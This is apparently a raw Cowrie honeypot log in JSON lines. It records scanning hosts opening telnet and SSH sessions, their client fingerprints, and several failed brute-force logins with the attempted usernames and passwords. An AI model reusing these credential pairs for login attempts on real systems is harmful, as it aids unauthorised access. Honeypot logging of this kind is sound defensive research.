{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53142,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7256df65adc","protocol":"telnet","message":"New connection: 62.210.97.77:53142 (10.17.0.5:23) [session: d7256df65adc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:53.777874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:53.916965Z","src_ip":"213.209.159.158","session":"fc2cbec8b984","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:53.921173Z","src_ip":"213.209.159.158","session":"fc2cbec8b984","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53156,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b97936b489b","protocol":"telnet","message":"New connection: 62.210.97.77:53156 (10.17.0.5:23) [session: 3b97936b489b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:54.174793Z"}
{"eventid":"cowrie.session.closed","duration":32.013556480407715,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:54.869181Z","src_ip":"62.210.97.77","session":"f5084f534bb8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53168,"dst_ip":"10.17.0.5","dst_port":23,"session":"40904c46738a","protocol":"telnet","message":"New connection: 62.210.97.77:53168 (10.17.0.5:23) [session: 40904c46738a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:55.399739Z"}
{"eventid":"cowrie.session.closed","duration":35.88506722450256,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:57.012785Z","src_ip":"62.210.97.77","session":"fe6288408ba9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":39874,"dst_ip":"10.17.0.5","dst_port":23,"session":"47dba03cc08c","protocol":"telnet","message":"New connection: 165.232.131.181:39874 (10.17.0.5:23) [session: 47dba03cc08c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:00.037387Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.218.69.66","src_port":15460,"dst_ip":"159.203.135.109","dst_port":22,"session":"85bb7cb1f282","protocol":"ssh","message":"New connection: 89.218.69.66:15460 (159.203.135.109:22) [session: 85bb7cb1f282]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:01.494324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:01.500446Z","src_ip":"89.218.69.66","session":"85bb7cb1f282","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:01.672863Z","src_ip":"89.218.69.66","session":"85bb7cb1f282","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":41954,"dst_ip":"10.17.0.5","dst_port":23,"session":"dca9abc73319","protocol":"telnet","message":"New connection: 62.210.97.77:41954 (10.17.0.5:23) [session: dca9abc73319]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:02.199880Z"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"!QAZ2wsx","message":"login attempt [deploy/!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:02.397251Z","src_ip":"89.218.69.66","session":"85bb7cb1f282","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.5260677337646484,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:02.563313Z","src_ip":"165.232.131.181","session":"47dba03cc08c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:03.573590Z","src_ip":"89.218.69.66","session":"85bb7cb1f282","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"user!","message":"login attempt [root/user!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:03.801363Z","src_ip":"213.209.159.158","session":"fc2cbec8b984","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.2","message":"Connection lost after 15.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:07.076312Z","src_ip":"213.209.159.158","session":"fc2cbec8b984","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":7642,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c7a53132acb","protocol":"ssh","message":"New connection: 213.209.159.158:7642 (10.17.0.5:22) [session: 1c7a53132acb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:07.160447Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":58390,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7ff9332f743","protocol":"telnet","message":"New connection: 65.60.27.33:58390 (10.17.0.5:23) [session: a7ff9332f743]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:08.472624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:09.677484Z","src_ip":"213.209.159.158","session":"1c7a53132acb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:09.681754Z","src_ip":"213.209.159.158","session":"1c7a53132acb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.78765058517456,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:13.629969Z","src_ip":"62.210.97.77","session":"5641536c27c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":60902,"dst_ip":"10.17.0.5","dst_port":23,"session":"098c8082de9e","protocol":"telnet","message":"New connection: 165.232.131.181:60902 (10.17.0.5:23) [session: 098c8082de9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:13.839795Z"}
{"eventid":"cowrie.session.closed","duration":0.005873680114746094,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:13.845517Z","src_ip":"165.232.131.181","session":"098c8082de9e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.03499913215637,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:14.653040Z","src_ip":"165.232.131.181","session":"2277b4aa07e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40928,"dst_ip":"10.17.0.5","dst_port":23,"session":"05b3773b42a0","protocol":"telnet","message":"New connection: 62.210.97.77:40928 (10.17.0.5:23) [session: 05b3773b42a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:16.007821Z"}
{"eventid":"cowrie.session.closed","duration":8.056596279144287,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:16.529094Z","src_ip":"65.60.27.33","session":"a7ff9332f743","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.719990968704224,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:17.573591Z","src_ip":"62.210.97.77","session":"065a6d3a13f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.85808181762695,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:17.863470Z","src_ip":"165.232.131.181","session":"ca72eda1bf1e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":46630,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc4f22101e3e","protocol":"telnet","message":"New connection: 62.210.97.77:46630 (10.17.0.5:23) [session: fc4f22101e3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:18.598824Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"ushuaia","message":"login attempt [root/ushuaia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:19.195422Z","src_ip":"213.209.159.158","session":"1c7a53132acb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":48778,"dst_ip":"10.17.0.5","dst_port":23,"session":"1eedc5b9793e","protocol":"telnet","message":"New connection: 165.232.131.181:48778 (10.17.0.5:23) [session: 1eedc5b9793e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:19.916769Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":49966,"dst_ip":"10.17.0.5","dst_port":23,"session":"a41181bfae0c","protocol":"telnet","message":"New connection: 165.232.131.181:49966 (10.17.0.5:23) [session: a41181bfae0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:19.928132Z"}
{"eventid":"cowrie.session.closed","duration":37.72958517074585,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:20.193814Z","src_ip":"62.210.97.77","session":"2f908045d00e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.048810958862305,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:20.906431Z","src_ip":"165.232.131.181","session":"cb1cf32f7f19","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":36308,"dst_ip":"10.17.0.5","dst_port":23,"session":"0be905404a9a","protocol":"telnet","message":"New connection: 38.54.119.93:36308 (10.17.0.5:23) [session: 0be905404a9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:21.275518Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":46482,"dst_ip":"10.17.0.5","dst_port":23,"session":"434afa5af50c","protocol":"telnet","message":"New connection: 65.60.27.33:46482 (10.17.0.5:23) [session: 434afa5af50c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:22.460257Z"}
{"eventid":"cowrie.session.closed","duration":"15.7","message":"Connection lost after 15.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:22.855094Z","src_ip":"213.209.159.158","session":"1c7a53132acb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":0.4593684673309326,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:22.919441Z","src_ip":"65.60.27.33","session":"434afa5af50c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":41730,"dst_ip":"10.17.0.5","dst_port":22,"session":"2766d9fff239","protocol":"ssh","message":"New connection: 213.209.159.158:41730 (10.17.0.5:22) [session: 2766d9fff239]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:22.948868Z"}
{"eventid":"cowrie.session.closed","duration":39.26942181587219,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:22.955799Z","src_ip":"65.60.27.33","session":"0f6023379366","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":50244,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4f1dc8d76e4","protocol":"telnet","message":"New connection: 165.232.131.181:50244 (10.17.0.5:23) [session: f4f1dc8d76e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:23.571354Z"}
{"eventid":"cowrie.session.closed","duration":45.44665241241455,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:23.666117Z","src_ip":"165.232.131.181","session":"730d362654bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.68060612678528,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:23.756901Z","src_ip":"165.232.131.181","session":"9eb8dd3c3810","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:25.273389Z","src_ip":"213.209.159.158","session":"2766d9fff239","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:25.277252Z","src_ip":"213.209.159.158","session":"2766d9fff239","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":46644,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3e2f1d7b706","protocol":"telnet","message":"New connection: 62.210.97.77:46644 (10.17.0.5:23) [session: d3e2f1d7b706]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:25.616750Z"}
{"eventid":"cowrie.session.closed","duration":2.4014596939086914,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:25.972716Z","src_ip":"165.232.131.181","session":"f4f1dc8d76e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.46447682380676,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:27.864092Z","src_ip":"62.210.97.77","session":"40904c46738a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":40598,"dst_ip":"10.17.0.5","dst_port":23,"session":"5bb3fbcc6462","protocol":"telnet","message":"New connection: 38.54.119.93:40598 (10.17.0.5:23) [session: 5bb3fbcc6462]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:28.166903Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":53596,"dst_ip":"10.17.0.5","dst_port":23,"session":"b67fc78c8f2d","protocol":"telnet","message":"New connection: 165.232.131.181:53596 (10.17.0.5:23) [session: b67fc78c8f2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:29.418338Z"}
{"eventid":"cowrie.session.closed","duration":36.16743874549866,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:30.342143Z","src_ip":"62.210.97.77","session":"3b97936b489b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":53992,"dst_ip":"10.17.0.5","dst_port":23,"session":"bef7ef7d608f","protocol":"telnet","message":"New connection: 165.232.131.181:53992 (10.17.0.5:23) [session: bef7ef7d608f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:30.408975Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":54710,"dst_ip":"10.17.0.5","dst_port":23,"session":"f438856c4ec0","protocol":"telnet","message":"New connection: 165.232.131.181:54710 (10.17.0.5:23) [session: f438856c4ec0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:32.430686Z"}
{"eventid":"cowrie.session.closed","duration":39.88473725318909,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:33.662383Z","src_ip":"62.210.97.77","session":"d7256df65adc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":34868,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0d2e64df92b","protocol":"telnet","message":"New connection: 62.210.97.77:34868 (10.17.0.5:23) [session: c0d2e64df92b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:33.701476Z"}
{"eventid":"cowrie.session.closed","duration":32.195884704589844,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:34.395623Z","src_ip":"62.210.97.77","session":"dca9abc73319","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":47424,"dst_ip":"159.203.135.109","dst_port":22,"session":"02484f66a9d4","protocol":"ssh","message":"New connection: 80.94.92.182:47424 (159.203.135.109:22) [session: 02484f66a9d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:35.021035Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"UtUB","message":"login attempt [root/UtUB] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:35.043433Z","src_ip":"213.209.159.158","session":"2766d9fff239","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:27:35.163216Z","src_ip":"80.94.92.182","session":"02484f66a9d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v0